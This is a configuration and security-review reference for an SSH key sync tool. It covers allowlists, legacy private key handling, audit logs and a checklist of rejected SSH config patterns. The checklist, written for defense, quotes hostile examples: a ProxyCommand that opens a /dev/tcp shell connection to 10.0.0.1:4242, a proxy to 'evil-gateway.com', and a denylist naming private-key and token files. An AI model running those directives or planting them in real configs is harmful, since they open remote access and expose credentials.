SSH Key Sync Configuration Reference
Related Issue: #2182
Overview
This document describes the configuration options, security review process, and best practices for SSH key synchronization.
Configuration File
Location
/etc/openace/ssh_sync_allowlist.yaml
Permissions
- Permission:
600 - Owner:
root:root - Reason: the configuration file may contain sensitive information and must be protected
Format Example
# SSH key sync allowlist configuration
# Path: /etc/openace/ssh_sync_allowlist.yaml
# List of files allowed to sync
allowlist:
# Default allowlist (known hosts)
- name: "known_hosts"
type: "known_hosts"
content_check: false
description: "Known hosts list"
- name: "known_hosts.old"
type: "known_hosts"
content_check: false
description: "known_hosts backup"
- name: "known_hosts.old.*"
type: "known_hosts"
content_check: false
description: "Historical known_hosts backups"
# Example: allow syncing company public keys (requires security review)
- name: "company_*.pub"
type: "public_key"
content_check: true
max_size: 1MB
approval_required: true
security_review:
reviewed_by: "security-team"
reviewed_at: "2026-01-15"
review_notes: "Allow syncing company public keys"
# Denylist (mandatory, not configurable)
denylist_patterns:
- "id_*"
- "*.pem"
- "*.key"
- "*.socket"
- "agent.*"
- "token_*"
- "*.token"
# Upgrade handling policy
upgrade_action: "backup"
# Audit log configuration
audit_log:
path: "/var/log/openace/ssh-sync.log"
max_size: 100MB
retention_days: 30
Environment Variables
OPENACE_SSH_UPGRADE_ACTION
Upgrade handling policy.
Options:
warn: warn only, do not delete filesbackup: back up files to~/.ssh/legacy_backup_YYYYMMDD_HHMMSS/, then deletedelete: delete files directly (only files whose content fingerprint matches)
Default: backup
Use cases:
warn: audit mode, to confirm the detection logic worksbackup: recommended for production, keeps a rollback pathdelete: cleanup mode after everything is confirmed correct
OPENACE_SSH_UPGRADE_REQUIRE_CONFIRM
Whether manual confirmation is required before handling legacy private keys.
Options:
true: require manual input of "yes" to confirmfalse: handle automatically
Default: false
Use cases:
- Set to
truefor upgrades of critical systems - Set to
falsefor automated deployments
OPENACE_SSH_DETECT_ENCODED_KEYS
Whether to detect encoded private keys (Base64, Hex).
Options:
true: detect encoded private keysfalse: detect only plaintext private keys
Default: false
Note: Enabling this increases performance overhead and the risk of false positives.
Security Review Process
Review Requirements
A security review is required in the following cases:
- Adding a new file pattern to the allowlist
- Syncing SSH config file snippets
- Syncing non-standard public key files
Reviewer Authorization
The list of authorized reviewers is stored in: /etc/openace/authorized_reviewers.yaml
authorized_reviewers:
- name: "security-team"
email: "security@company.com"
valid_from: "2023-01-01"
- name: "ops-team"
email: "ops@company.com"
valid_from: "2023-01-01"
Review Validity
- A review is valid for 1 year (configurable)
- Expired reviews must be repeated
- Reviews by unauthorized personnel are invalid
Review Records
Every review must be recorded:
security_review:
reviewed_by: "security-team" # Reviewer (must be in the authorized list)
reviewed_at: "2026-01-15" # Review date
review_notes: "Allow syncing company public keys" # Review notes
Audit Log
Log Location
/var/log/openace/ssh-sync.log
Log Format
[TIMESTAMP] [LEVEL] [USER] MESSAGE
Log Levels
INFO: normal operationsWARN: issues that need attentionERROR: serious problems
Log Events
| Event | Level | Description |
|---|---|---|
SYNC_SUCCESS | INFO | File synced successfully |
SYNC_DENIED | WARN | File sync denied |
LEGACY_KEY_DETECTED | ERROR | Legacy private key detected |
LEGACY_KEY_BACKUP | INFO | Legacy private key backed up |
LEGACY_KEY_DELETED | WARN | Legacy private key deleted |
Log Rotation
- Maximum size: 100MB
- Retention: 30 days
- Automatic rotation: daily
- Automatic compression: gzip
Command-Line Tool
View Help
/usr/local/bin/openace-ssh-sync --help
Sync SSH Keys
/usr/local/bin/openace-ssh-sync --user <username>
Detect Legacy Private Keys
/usr/local/bin/openace-ssh-sync --user <username> --detect-legacy
Dry-run Mode
/usr/local/bin/openace-ssh-sync --user <username> --dry-run
Specify a Configuration File
/usr/local/bin/openace-ssh-sync --user <username> --config /path/to/config.yaml
Upgrade and Migration Guide
Upgrading from 1.x
1. Pre-upgrade Check
# Check for legacy-synced private keys
/usr/local/bin/openace-ssh-sync --user <username> --detect-legacy
2. Configuration Migration
Old version:
- Automatically synced all files in
/root/.ssh
New version:
- Only allowlist files are synced
- Private keys are not synced by default
3. Recommended Actions
- Generate a dedicated deploy key for each user:
ssh-keygen -t ed25519 -f /home/<user>/.ssh/id_ed25519_<project>
- Add the public key to the Git repository:
cat /home/<user>/.ssh/id_ed25519_<project>.pub
# Add to the deploy keys in GitHub/GitLab
- Test Git SSH access:
sudo -u <user> git clone git@github.com:org/repo.git
- Verify there is no dependency on root private keys:
# Remove the root private key (if no longer needed)
rm /root/.ssh/id_rsa
# Verify users can still access Git
4. Handle Legacy Private Keys
# Set the handling policy
export OPENACE_SSH_UPGRADE_ACTION=backup
# Run detection
/usr/local/bin/openace-ssh-sync --user <username> --detect-legacy
# Check the backup
ls -la /home/<username>/.ssh/legacy_backup_*/
Rollback Plan
If problems occur after the upgrade:
- Check the backup directory:
ls -la /home/<user>/.ssh/legacy_backup_*/
- Restore private keys:
cp /home/<user>/.ssh/legacy_backup_YYYYMMDD_HHMMSS/id_rsa /home/<user>/.ssh/
chmod 600 /home/<user>/.ssh/id_rsa
chown <user>:<user> /home/<user>/.ssh/id_rsa
- Verify Git access:
sudo -u <user> git clone git@github.com:org/repo.git
Troubleshooting
Issue: known_hosts is not synced
Check:
- Whether the file is under
/root/.ssh - Whether the file name matches the allowlist
- The audit log
tail -f /var/log/openace/ssh-sync.log
Issue: legacy private key not detected
Check:
- Whether the file permission is 600
- Whether the file name matches the
id_*pattern - Whether the content fingerprint matches
Issue: script execution fails
Check:
- Whether the script is executable
ls -la /usr/local/bin/openace-ssh-sync
- Whether the Python version meets the requirement
python3 --version # Requires >= 3.10
- The error log
journalctl -u open-ace -n 100
Best Practices
-
Review audit logs regularly
- Check SYNC_DENIED records weekly
- Check LEGACY_KEY_DETECTED alerts monthly
-
Use a secure Git credentials scheme
- Prefer per-user deploy keys
- Avoid depending on root private keys
-
Configuration changes require a security review
- Record the reviewer and date
- Review review validity periodically
-
Back up data before upgrading
- Back up the
/home/*/.sshdirectories - Back up the
/root/.sshdirectory - Record file fingerprints
- Back up the
-
Monitor alerts
- Configure log monitoring
- Set alert thresholds
SSH Config File Security Requirements (Issue #2328)
Default Behavior
SSH config files (config, config_*) are DENIED by default and included in the denylist. This prevents propagation of potentially dangerous SSH configurations that could contain:
ProxyCommanddirectives with shell executionIdentityFiledirectives pointing to root private keys- Hardcoded credentials or tokens
Includedirectives to sensitive paths
Security Review Process for Config Files
If you need to sync an SSH config file, you must add it to the custom whitelist with a mandatory security review. The security review must verify:
-
No ProxyCommand with shell execution
- ❌ REJECT:
ProxyCommand ssh -q -W %h:%p gateway.example.com - ❌ REJECT:
ProxyCommand bash -c "exec 3<>/dev/tcp/10.0.0.1/4242; cat <&3 & cat >&3" - ✅ ACCEPT: No ProxyCommand or only safe ProxyCommand (e.g.,
nc %h %p)
- ❌ REJECT:
-
No IdentityFile pointing to root private keys
- ❌ REJECT:
IdentityFile /root/.ssh/id_rsa - ❌ REJECT:
IdentityFile ~/.ssh/id_ed25519(where~expands to/root) - ✅ ACCEPT: No IdentityFile or only safe public key paths
- ❌ REJECT:
-
No Include directives to sensitive paths
- ❌ REJECT:
Include /root/.ssh/config.d/* - ❌ REJECT:
Include ~/.ssh/external_config - ✅ ACCEPT: No Include or only safe include paths (e.g.,
/etc/ssh/ssh_config.d/*)
- ❌ REJECT:
-
No credentials or tokens in config
- ❌ REJECT: Password directives or hardcoded tokens
- ❌ REJECT: API keys or authentication credentials
- ✅ ACCEPT: No hardcoded credentials
-
No User directive with root or privileged users
- ❌ REJECT:
User root - ❌ REJECT:
User adminor other privileged users - ✅ ACCEPT: Only non-privileged user directives or no User directive
- ❌ REJECT:
Example Whitelist Configuration for SSH Config
allowlist:
# ... other entries ...
# Example: Allow specific SSH config with security review
- name: "safe_config"
type: "ssh_config"
content_check: true
approval_required: true
security_review:
reviewed_by: "security-team" # Must be in authorized reviewers list
reviewed_at: "2026-08-08"
review_notes: |
Verified safe:
- No ProxyCommand directives
- No IdentityFile directives
- No Include directives
- No hardcoded credentials
- Contains only Host/User/Port directives for known safe hosts
Rejected Config Patterns (Examples)
Example 1: ProxyCommand with shell execution
# ❌ REJECTED - Security risk
Host compromised-host
ProxyCommand ssh -q -W %h:%p evil-gateway.com
Example 2: IdentityFile to root key
# ❌ REJECTED - Root private key exposure
Host internal-server
IdentityFile /root/.ssh/id_rsa
Example 3: Include sensitive path
# ❌ REJECTED - Path traversal risk
Include /root/.ssh/external_configs/*
Example 4: Safe config (acceptable)
# ✅ ACCEPTED - Safe configuration
Host github.com
User git
Port 22
HostName github.com
Related Documents
Changelog
- 2026-01-15: Initial version (Issue #2182)